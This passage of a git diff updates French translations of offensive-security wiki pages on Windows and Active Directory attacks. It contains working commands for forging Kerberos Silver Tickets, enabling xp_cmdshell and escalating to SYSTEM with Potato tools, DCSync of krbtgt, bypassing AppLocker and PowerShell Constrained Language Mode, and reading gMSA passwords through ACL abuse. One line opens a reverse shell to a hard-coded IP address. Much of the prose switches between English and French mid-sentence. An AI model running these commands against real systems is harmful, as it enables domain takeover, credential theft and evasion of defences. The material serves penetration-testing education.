Tickets car ils ne nécessitent que le **hash du compte de service**, et non le compte krbtgt. Cependant, ils sont limités au service spécifique qu'ils ciblent. De plus, il suffit de voler le mot de passe d'un utilisateur. +> De plus, si vous compromettez le **mot de passe d'un compte avec un SPN** vous pouvez utiliser ce mot de passe pour créer un Silver Ticket usurpant l'identité de n'importe quel utilisateur auprès de ce service. -Pour la fabrication de tickets, différents outils sont utilisés selon le système d'exploitation : +Pour la création des tickets, différents outils sont employés selon le système d'exploitation: -### Sur Linux +### On Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` -### Sous Windows +### Sur Windows ```bash # Using Rubeus ## /ldap option is used to get domain data automatically @@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -Le service CIFS est mis en évidence comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent aussi être exploités pour des tâches et des requêtes WMI. +Le service CIFS est mis en avant comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent aussi être exploités pour des tâches et des requêtes WMI. ### Exemple : MSSQL service (MSSQLSvc) + Potato to SYSTEM -Si vous avez le NTLM hash (ou l'AES key) d'un compte de service SQL (par ex. sqlsvc), vous pouvez forger un TGS pour le MSSQL SPN et impersonate n'importe quel utilisateur auprès du service SQL. Ensuite, activez xp_cmdshell pour exécuter des commandes en tant que le compte de service SQL. Si ce token possède SeImpersonatePrivilege, enchaînez un Potato pour élever au niveau SYSTEM. +Si vous avez le NTLM hash (or AES key) d'un SQL service account (e.g., sqlsvc) vous pouvez forger un TGS pour le MSSQL SPN et impersonate n'importe quel utilisateur auprès du SQL service. De là, enable xp_cmdshell pour exécuter des commandes en tant que le SQL service account. Si ce token a SeImpersonatePrivilege, enchaînez un Potato pour élever au SYSTEM. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,7 +52,7 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Si le contexte résultant possède SeImpersonatePrivilege (souvent vrai pour les comptes de service), utilisez une variante de Potato pour obtenir SYSTEM : +- Si le contexte résultant dispose de SeImpersonatePrivilege (souvent vrai pour les comptes de service), utilisez une variante Potato pour obtenir SYSTEM: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" @@ -65,7 +65,7 @@ Plus de détails sur l'abus de MSSQL et l'activation de xp_cmdshell: abusing-ad-mssql.md {{#endref}} -Aperçu des Potato techniques: +Potato techniques overview: {{#ref}} ../windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -73,45 +73,44 @@ Aperçu des Potato techniques: ## Services disponibles -| Type de service | Service Silver Tickets | +| Service Type | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| +| PowerShell Remoting |

HOST

HTTP

Selon l'OS également :

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

Dans certains cas, vous pouvez simplement demander : WINRM

| | Scheduled Tasks | HOST | | Windows File Share, also psexec | CIFS | | LDAP operations, included DCSync | LDAP | | Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | -En utilisant **Rubeus** vous pouvez **demander tous** ces tickets en utilisant le paramètre : +Using **Rubeus** you may **ask for all** these tickets using the parameter: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Event IDs des Silver tickets +### IDs d'événements Silver tickets -- 4624: Connexion de compte -- 4634: Déconnexion de compte -- 4672: Connexion administrateur +- 4624: Account Logon +- 4634: Account Logoff +- 4672: Admin Logon ## Persistance -Pour éviter que les machines ne fassent pivoter leur mot de passe tous les 30 jours, définissez `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou vous pouvez définir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` sur une valeur supérieure à 30 jours pour indiquer la période de rotation à laquelle le mot de passe de la machine doit être changé. +Pour éviter que les machines ne renouvellent leur mot de passe tous les 30 jours, définissez `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou vous pouvez définir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` sur une valeur supérieure à 30days pour indiquer la période de rotation lorsque le mot de passe de la machine doit être renouvelé. -## Abuser des tickets de service +## Abuser des Service tickets Dans les exemples suivants, imaginons que le ticket a été récupéré en usurpant le compte administrateur. ### CIFS -Avec ce ticket vous pourrez accéder aux dossiers `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme : +Avec ce ticket, vous pourrez accéder aux dossiers `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme : ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter des commandes arbitraires en utilisant **psexec**: - +Vous pourrez également obtenir un shell sur l'hôte ou exécuter des commandes arbitraires en utilisant **psexec** : {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -133,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Avec ces tickets, vous pouvez **exécuter WMI sur le système victime** : +Avec ces tickets, vous pouvez **exécuter WMI sur le système de la victime**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -143,20 +142,17 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Consultez **plus d'informations sur wmiexec** dans la page suivante : - - {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} -### Hôte + WSMAN (WINRM) +### HÔTE + WSMAN (WINRM) Avec un accès winrm à un ordinateur, vous pouvez **y accéder** et même obtenir un PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Consultez la page suivante pour apprendre **d'autres façons de se connecter à un hôte distant en utilisant winrm**: +Check the following page to learn **d'autres façons de se connecter à un hôte distant en utilisant winrm**: {{#ref}} @@ -168,11 +164,11 @@ Consultez la page suivante pour apprendre **d'autres façons de se connecter à ### LDAP -Avec ce privilège, vous pouvez dump la base de données du DC en utilisant **DCSync**: +Avec ce privilège, vous pouvez extraire la base de données du DC en utilisant **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**En savoir plus sur DCSync** sur la page suivante : +**En savoir plus sur DCSync** dans la page suivante : {{#ref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 67cacf346..de632da82 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,14 +4,14 @@ ## Politique AppLocker -Une whitelist d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et exécutés sur un système. L'objectif est de protéger l'environnement contre les malware nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins métier spécifiques d'une organisation. +Une liste blanche d'applications est une liste de logiciels ou d'exécutables approuvés autorisés à être présents et exécutés sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants et les logiciels non approuvés qui ne correspondent pas aux besoins métier spécifiques d'une organisation. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de whitelisting d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et quels fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, scripts, fichiers d'installation Windows, DLLs, packaged apps, et packed app installers.\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la solution Microsoft pour la mise en liste blanche d'applications et donne aux administrateurs système le contrôle sur **quelles applications et quels fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers. Il est courant que les organisations **bloquent cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**. ### Vérification -Vérifiez quels fichiers/extensions sont blacklisted/whitelisted: +Vérifier quels fichiers/extensions sont sur liste noire/liste blanche : ```bash Get-ApplockerPolicy -Effective -xml @@ -20,43 +20,43 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Ce chemin de registre contient les configurations et les politiques appliquées par AppLocker, fournissant un moyen d'examiner l'ensemble actuel des règles appliquées sur le système : +Ce chemin du registre contient les configurations et les politiques appliquées par AppLocker, offrant un moyen de vérifier l'ensemble des règles actuellement appliquées sur le système : - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- Utile **Writable folders** to bypass AppLocker Policy : si AppLocker permet d'exécuter n'importe quoi dans `C:\Windows\System32` ou `C:\Windows`, il existe des **writable folders** que vous pouvez utiliser pour **bypass this**. +- Utiles **Writable folders** pour bypass AppLocker Policy : si AppLocker permet d'exécuter n'importe quoi dans `C:\Windows\System32` ou `C:\Windows`, il existe des **Writable folders** que vous pouvez utiliser pour **bypass this**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Des binaires [**"LOLBAS's"**](https://lolbas-project.github.io/) souvent **fiables** peuvent aussi être utiles pour contourner AppLocker. -- **Des règles mal écrites peuvent aussi être contournées** +- Des binaires [**"LOLBAS's"**](https://lolbas-project.github.io/) couramment **de confiance** peuvent également être utiles pour contourner AppLocker. +- **Des règles mal rédigées peuvent aussi être contournées** - Par exemple, **``**, vous pouvez créer un **dossier appelé `allowed`** n'importe où et il sera autorisé. - Les organisations se concentrent souvent sur **le blocage de l'exécutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mais oublient les **autres** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) tels que `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`. -- **L'application stricte des DLL est très rarement activée** en raison de la charge supplémentaire que cela peut imposer au système, et de la quantité de tests nécessaires pour s'assurer que rien ne casse. Ainsi, utiliser des **DLLs comme portes dérobées aidera à contourner AppLocker**. -- Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner AppLocker. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- **DLL enforcement very rarely enabled** en raison de la charge supplémentaire que cela peut imposer au système, et du volume de tests nécessaires pour s'assurer que rien ne casse. Ainsi, utiliser des **DLLs comme portes dérobées aidera à contourner AppLocker**. +- Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner AppLocker. Pour plus d'infos, voir : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## Stockage des identifiants -### Security Accounts Manager (SAM) +### Gestionnaire des comptes de sécurité (SAM) Les identifiants locaux sont présents dans ce fichier, les mots de passe y sont hachés. -### Local Security Authority (LSA) - LSASS +### Autorité de sécurité locale (LSA) - LSASS -Les **identifiants** (hachés) sont **stockés** dans la **mémoire** de ce sous-système pour des raisons d'authentification unique (Single Sign-On).\ -**LSA** gère la **politique de sécurité locale** (politique de mots de passe, permissions des utilisateurs...), **l'authentification**, **les jetons d'accès**...\ -Le LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communicera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine. +Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons d'authentification unique.\ +**LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **l'authentification**, les **jetons d'accès**...\ +C'est LSA qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et qui **communicatera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine. -Les **identifiants** sont **stockés** dans le **processus LSASS** : tickets Kerberos, hashes NT et LM, mots de passe facilement décryptés. +Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hashs NT et LM, mots de passe facilement décryptables. -### LSA secrets +### Secrets LSA -Le LSA peut enregistrer sur disque certains identifiants : +LSA peut enregistrer sur le disque certains identifiants : - Mot de passe du compte ordinateur de l'Active Directory (contrôleur de domaine inaccessible). - Mots de passe des comptes des services Windows @@ -65,15 +65,15 @@ Le LSA peut enregistrer sur disque certains identifiants : ### NTDS.dit -C'est la base de données de l'Active Directory. Elle n'est présente que sur les contrôleurs de domaine. +C'est la base de données de l'Active Directory. Elle est présente uniquement sur les contrôleurs de domaine. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) est un antivirus disponible dans Windows 10 et Windows 11, et dans certaines versions de Windows Server. Il **bloque** des outils de pentesting courants tels que **`WinPEAS`**. Cependant, il existe des moyens de **contourner ces protections**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) est un antivirus disponible dans Windows 10 et Windows 11, ainsi que dans les versions de Windows Server. Il **bloque** des outils pentesting courants tels que **`WinPEAS`**. Cependant, il existe des moyens de **contourner ces protections**. -### Check +### Vérification -Pour vérifier le **statut** de **Defender** vous pouvez exécuter le cmdlet PS **`Get-MpComputerStatus`** (vérifiez la valeur de **`RealTimeProtectionEnabled`** pour savoir si c'est actif) : +Pour vérifier **l'état** de **Defender** vous pouvez exécuter le cmdlet PS **`Get-MpComputerStatus`** (vérifiez la valeur de **`RealTimeProtectionEnabled`** pour savoir s'il est actif) : 
PS C:\> Get-MpComputerStatus
 
@@ -103,19 +103,19 @@ sc query windefend
 ```
 ## Système de fichiers chiffré (EFS)
 
-EFS sécurise les fichiers via le chiffrement en utilisant une **clé symétrique** appelée **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le flux de données alternatif $EFS du fichier chiffré. Lorsqu'une décryption est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK depuis le flux $EFS. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
+EFS protège les fichiers par chiffrement en utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le flux de données alternatif $EFS du fichier chiffré. Lorsqu'une décryption est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer la FEK depuis le flux $EFS. Plus de détails sont disponibles [ici](https://en.wikipedia.org/wiki/Encrypting_File_System).
 
 **Scénarios de déchiffrement sans action de l'utilisateur** incluent :
 
-- Lorsqu'un fichier ou dossier est déplacé vers un système de fichiers non-EFS, comme [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), il est automatiquement déchiffré.
-- Les fichiers chiffrés envoyés sur le réseau via le protocole SMB/CIFS sont déchiffrés avant la transmission.
+- Lorsque des fichiers ou dossiers sont déplacés vers un système de fichiers non-EFS, comme [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), ils sont automatiquement déchiffrés.
+- Les fichiers chiffrés envoyés sur le réseau via le protocole SMB/CIFS sont déchiffrés avant transmission.
 
-Cette méthode de chiffrement permet un **accès transparent** aux fichiers chiffrés pour le propriétaire. Cependant, changer simplement le mot de passe du propriétaire et se reconnecter ne permet pas de déchiffrer.
+Cette méthode de chiffrement permet un **accès transparent** aux fichiers chiffrés pour le propriétaire. Cependant, simplement changer le mot de passe du propriétaire et se connecter ne permet pas de déchiffrer les fichiers.
 
 Points clés :
 
 - EFS utilise une FEK symétrique, chiffrée avec la clé publique de l'utilisateur.
-- Le déchiffrement utilise la clé privée de l'utilisateur pour accéder au FEK.
+- La décryption utilise la clé privée de l'utilisateur pour accéder à la FEK.
 - Un déchiffrement automatique se produit dans des conditions spécifiques, comme la copie vers FAT32 ou la transmission réseau.
 - Les fichiers chiffrés sont accessibles au propriétaire sans étapes supplémentaires.
 
@@ -124,13 +124,13 @@ Points clés :
 Vérifier si un **utilisateur** a **utilisé** ce **service** en vérifiant si ce chemin existe : `C:\users\\appdata\roaming\Microsoft\Protect`
 
 Vérifier **qui** a **accès** au fichier en utilisant cipher /c \  
-You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
+Vous pouvez aussi utiliser `cipher /e` et `cipher /d` dans un dossier pour **chiffrer** et **déchiffrer** tous les fichiers
 
 ### Déchiffrement des fichiers EFS
 
-#### Obtenir le compte SYSTEM
+#### En tant que SYSTEM
 
-Cette méthode requiert que l'**utilisateur victime** ait un **processus** en cours d'exécution sur l'hôte. Si c'est le cas, en utilisant une session `meterpreter` vous pouvez vous faire passer pour le token du processus de l'utilisateur (`impersonate_token` depuis `incognito`). Ou vous pouvez simplement `migrate` vers le processus de l'utilisateur.
+Cette méthode nécessite que l'utilisateur victime exécute un processus sur l'hôte. Si c'est le cas, en utilisant une session `meterpreter` vous pouvez usurper le token du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pouvez simplement `migrate` vers le processus de l'utilisateur.
 
 #### Connaître le mot de passe de l'utilisateur
 
@@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 
 ## Group Managed Service Accounts (gMSA)
 
-Microsoft a développé les **Group Managed Service Accounts (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures IT. Contrairement aux comptes de service traditionnels qui ont souvent l'option "**Password never expire**" activée, les gMSA offrent une solution plus sécurisée et plus facile à gérer :
+Microsoft a développé les **Group Managed Service Accounts (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures informatiques. Contrairement aux comptes de service traditionnels qui ont souvent l'option "**Password never expire**" activée, les gMSA offrent une solution plus sécurisée et plus facile à gérer :
 
-- **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique de domaine ou d'ordinateur. Ce processus est géré par le Key Distribution Service (KDC) de Microsoft, éliminant le besoin de mises à jour manuelles du mot de passe.
-- **Sécurité renforcée** : ces comptes sont immunisés contre les lockouts et ne peuvent pas être utilisés pour des connexions interactives, renforçant ainsi leur sécurité.
-- **Support multi-hôte** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour des services exécutés sur plusieurs serveurs.
-- **Possibilité pour les tâches planifiées** : contrairement aux managed service accounts, les gMSA supportent l'exécution de tâches planifiées.
-- **Gestion simplifiée des SPN** : le système met automatiquement à jour le Service Principal Name (SPN) lorsqu'il y a des changements dans les attributs sAMaccount de l'ordinateur ou le nom DNS, simplifiant la gestion des SPN.
+- **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique du domaine ou de l'ordinateur. Ce processus est géré par le Key Distribution Service (KDC) de Microsoft, éliminant le besoin de mises à jour manuelles du mot de passe.
+- **Sécurité renforcée** : ces comptes sont immunisés contre les verrouillages et ne peuvent pas être utilisés pour des connexions interactives.
+- **Support multi-hôtes** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour des services exécutés sur plusieurs serveurs.
+- **Capacité pour les tâches planifiées** : contrairement aux managed service accounts, les gMSA prennent en charge l'exécution de tâches planifiées.
+- **Simplification de la gestion des SPN** : le système met automatiquement à jour le Service Principal Name (SPN) lorsqu'il y a des modifications des attributs sAMaccount de l'ordinateur ou du nom DNS, simplifiant la gestion des SPN.
 
-Les mots de passe des gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont automatiquement réinitialisés tous les 30 jours par les Domain Controllers (DCs). Ce mot de passe, un blob de données chiffrées connu sous le nom [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par des administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, garantissant un environnement sécurisé. Pour accéder à cette information, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Sealing & Secure'.
+Les mots de passe des gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont réinitialisés automatiquement tous les 30 jours par les Domain Controllers (DCs). Ce mot de passe, un blob de données chiffrées connu sous le nom de [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par les administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, garantissant un environnement sécurisé. Pour accéder à cette information, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -159,25 +159,25 @@ Vous pouvez lire ce mot de passe avec [**GMSAPasswordReader**](https://github.co
 ```
 [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
 
-Consultez également cette [web page](https://cube0x0.github.io/Relaying-for-gMSA/) pour savoir comment effectuer un **NTLM relay attack** pour **read** le **password** de **gMSA**.
+Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
 
-### Abuser du ACL chaining pour read gMSA managed password (GenericAll -> ReadGMSAPassword)
+### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
 
-Dans de nombreux environnements, des utilisateurs à faibles privilèges peuvent pivoter vers les secrets gMSA sans compromettre le DC en abusant d'ACL d'objet mal configurées :
+Dans de nombreux environnements, des utilisateurs à faible privilège peuvent pivoter vers les secrets gMSA sans compromettre le DC en abusant des ACL d'objet mal configurées :
 
-- Un groupe que vous pouvez contrôler (par ex., via GenericAll/GenericWrite) se voit accorder `ReadGMSAPassword` sur un gMSA.
-- En vous ajoutant à ce groupe, vous héritez du droit de read le blob `msDS-ManagedPassword` du gMSA via LDAP et d'en dériver des NTLM credentials utilisables.
+- Un groupe que vous pouvez contrôler (p. ex., via GenericAll/GenericWrite) se voit accorder `ReadGMSAPassword` sur un gMSA.
+- En vous ajoutant à ce groupe, vous héritez du droit de read le blob `msDS-ManagedPassword` du gMSA via LDAP et de dériver des credentials NTLM utilisables.
 
-Typical workflow:
+Flux de travail typique :
 
-1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
+1) Découvrez le chemin avec BloodHound et marquez vos foothold principals comme Owned. Recherchez des edges comme :
 - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
 
-2) Add yourself to the intermediate group you control (example with bloodyAD):
+2) Ajoutez-vous au groupe intermédiaire que vous contrôlez (exemple avec bloodyAD):
 ```bash
 bloodyAD --host  -d  -u  -p  add groupMember  
 ```
-3) Lire le mot de passe gMSA géré via LDAP et en déduire le hash NTLM. NetExec automatise l'extraction de `msDS-ManagedPassword` et la conversion en NTLM :
+3) Lire le mot de passe gMSA géré via LDAP et dériver le hash NTLM. NetExec automatise l'extraction de `msDS-ManagedPassword` et la conversion en NTLM :
 ```bash
 # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
 netexec ldap  -u  -p  --gmsa
@@ -189,16 +189,16 @@ netexec ldap  -u  -p  --gmsa
 netexec smb    -u 'mgtsvc$' -H 
 netexec winrm  -u 'mgtsvc$' -H 
 ```
-Remarques:
-- Les lectures LDAP de `msDS-ManagedPassword` nécessitent un sealing (p. ex., LDAPS/sign+seal). Les outils gèrent cela automatiquement.
-- Les gMSAs se voient souvent accorder des droits locaux comme WinRM ; validez l'appartenance aux groupes (p. ex. : Remote Management Users) pour planifier lateral movement.
-- Si vous avez seulement besoin du blob pour calculer le NTLM vous-même, voir la structure MSDS-MANAGEDPASSWORD_BLOB.
+Notes:
+- Les lectures LDAP de `msDS-ManagedPassword` nécessitent sealing (e.g., LDAPS/sign+seal). Les outils gèrent cela automatiquement.
+- Les gMSAs sont souvent dotés de droits locaux comme WinRM ; validez l'appartenance aux groupes (e.g., Remote Management Users) pour planifier les mouvements latéraux.
+- Si vous avez seulement besoin du blob pour calculer vous-même le NTLM, voyez la structure MSDS-MANAGEDPASSWORD_BLOB.
 
 
 
 ## LAPS
 
-The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
+La Local Administrator Password Solution (LAPS), disponible en téléchargement depuis [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet la gestion des mots de passe Administrator locaux. Ces mots de passe, qui sont **randomized**, uniques, et **regularly changed**, sont stockés centralement dans Active Directory. L'accès à ces mots de passe est restreint via des ACLs aux utilisateurs autorisés. Avec des permissions suffisantes accordées, la possibilité de lire les mots de passe Administrator locaux est fournie.
 
 
 {{#ref}}
@@ -207,7 +207,7 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
 
 ## PS Constrained Language Mode
 
-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **restreint fortement de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des COM objects, n'autorisant que les .NET types approuvés, les XAML-based workflows, les PowerShell classes, et plus encore.
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des COM objects, l'autorisation uniquement des .NET types approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
 
 ### **Vérifier**
 ```bash
@@ -219,10 +219,10 @@ $ExecutionContext.SessionState.LanguageMode
 #Easy bypass
 Powershell -version 2
 ```
-Dans les versions actuelles de Windows ce bypass ne fonctionnera pas mais vous pouvez utiliser[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**Pour le compiler, vous devrez peut-être** **pour** _**Ajouter une référence**_ -> _Parcourir_ -> _Parcourir_ -> ajouter `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` et **changer le projet en .Net4.5**.
+Sur les versions actuelles de Windows ce contournement ne fonctionne pas, mais vous pouvez utiliser[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
+**Pour le compiler, vous devrez peut-être** **de** _**Ajouter une référence**_ -> _Parcourir_ -> _Parcourir_ -> ajouter `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` et **changer le projet en .Net4.5**.
 
-#### Bypass direct:
+#### Contournement direct :
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
 ```
@@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **execute Powershell** code dans n'importe quel processus et bypass the constrained mode. Pour plus d'infos, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
